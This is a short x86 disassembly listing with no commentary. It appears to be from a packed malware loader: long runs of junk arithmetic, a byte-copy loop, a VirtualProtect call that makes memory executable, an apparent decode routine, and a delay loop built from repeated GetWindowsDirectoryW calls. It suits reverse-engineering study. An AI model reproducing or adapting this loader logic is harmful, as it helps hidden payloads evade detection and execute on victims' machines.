add dword [esp + 0x98], 0x7e31d3c7
sub dword [esp + 0x13c], 0x4f44cc15
mov eax, 0x39e6135f
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0xa0], 0x469dabb7
sub dword [esp + 0x74], 0x22ecf8e4
sub dword [esp + 0x48], 0x60a5c1d3
add dword [esp + 0xdc], 0x66c96fa
add dword [esp + 0x50], 0xb8b071
add dword [esp + 0x1b0], 0x28211181
add dword [esp + 0x1c8], 0x7f89a967
mov eax, 0x48814791
mul dword [esp + 0x148]
mov eax, dword [esp + 0x148]
add dword [esp + 0x240], 0xd194dbf
mov eax, 0x1782db4c
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
add dword [esp + 0x9c], 0x5cf580ea
mov eax, 0x39da0ed6
mul dword [esp + 0x230]
mov eax, dword [esp + 0x230]
sub dword [esp + 0x248], 0x9412338
add dword [esp + 0xe8], 0x211812d3
add dword [esp + 0x10c], 0x5e748723
sub dword [esp + 0xe0], 0x205631d
mov eax, 0x19a5a3ab
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
mov eax, 0x5c3f066
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0x1c], 0xff18611
mov eax, 0x607b6e08
mul dword [esp + 0x1f8]
mov eax, dword [esp + 0x1f8]
mov eax, 0x2713682b
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
add dword [esp + 0xe4], 0x34669d46
sub dword [esp + 0xfc], 0x5203bfc5
mov eax, 0x223b9263
mul dword [esp + 0x180]
mov eax, dword [esp + 0x180]
sub dword [esp + 0xac], 0x776842a0
mov eax, 0x2bd7d1f9
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
add dword [esp + 0x278], 0x5ec009d9
mov eax, 0x7adc5d01
mul dword [esp + 0x194]
mov eax, dword [esp + 0x194]
sub dword [esp + 0xd4], 0x31d989e4
sub dword [esp + 0x20c], 0x39aa0a6b
mov eax, 0x322022d1
mul dword [esp + 0x250]
mov eax, dword [esp + 0x250]
sub dword [esp + 0x1c8], 0x332dcf06
add dword [esp + 0x170], 0x73c9667b
sub dword [esp + 0x44], 0xb719c29
sub dword [esp + 0x1a0], 0x6d10ec59
mov edx, dword [0x46a1ec]
mov al, byte [edx + ecx + 0xf3bc1]
mov edx, dword [0x4684e4]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x469fe4]
jb 0x4017d0
mov edx, 0x469fe4
mov ecx, 0x4684e4
call fcn.00401032
mov ecx, dword [0x469fe4]
mov edx, dword [0x4684e4]
lea eax, [esp + 0x10]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [0x469fe4]
mov ecx, dword [0x4684e4]
push section..data
call fcn.00401050
add dword [0x4684e4], 0x213
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, 0x2040a3
jmp 0x403090
cmp dword [0x469fe4], 0x867
jne 0x4030a8
push 0
lea eax, [esp + 0x6a4]
push eax
call esi
dec edi
jne 0x403090
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xe90
ret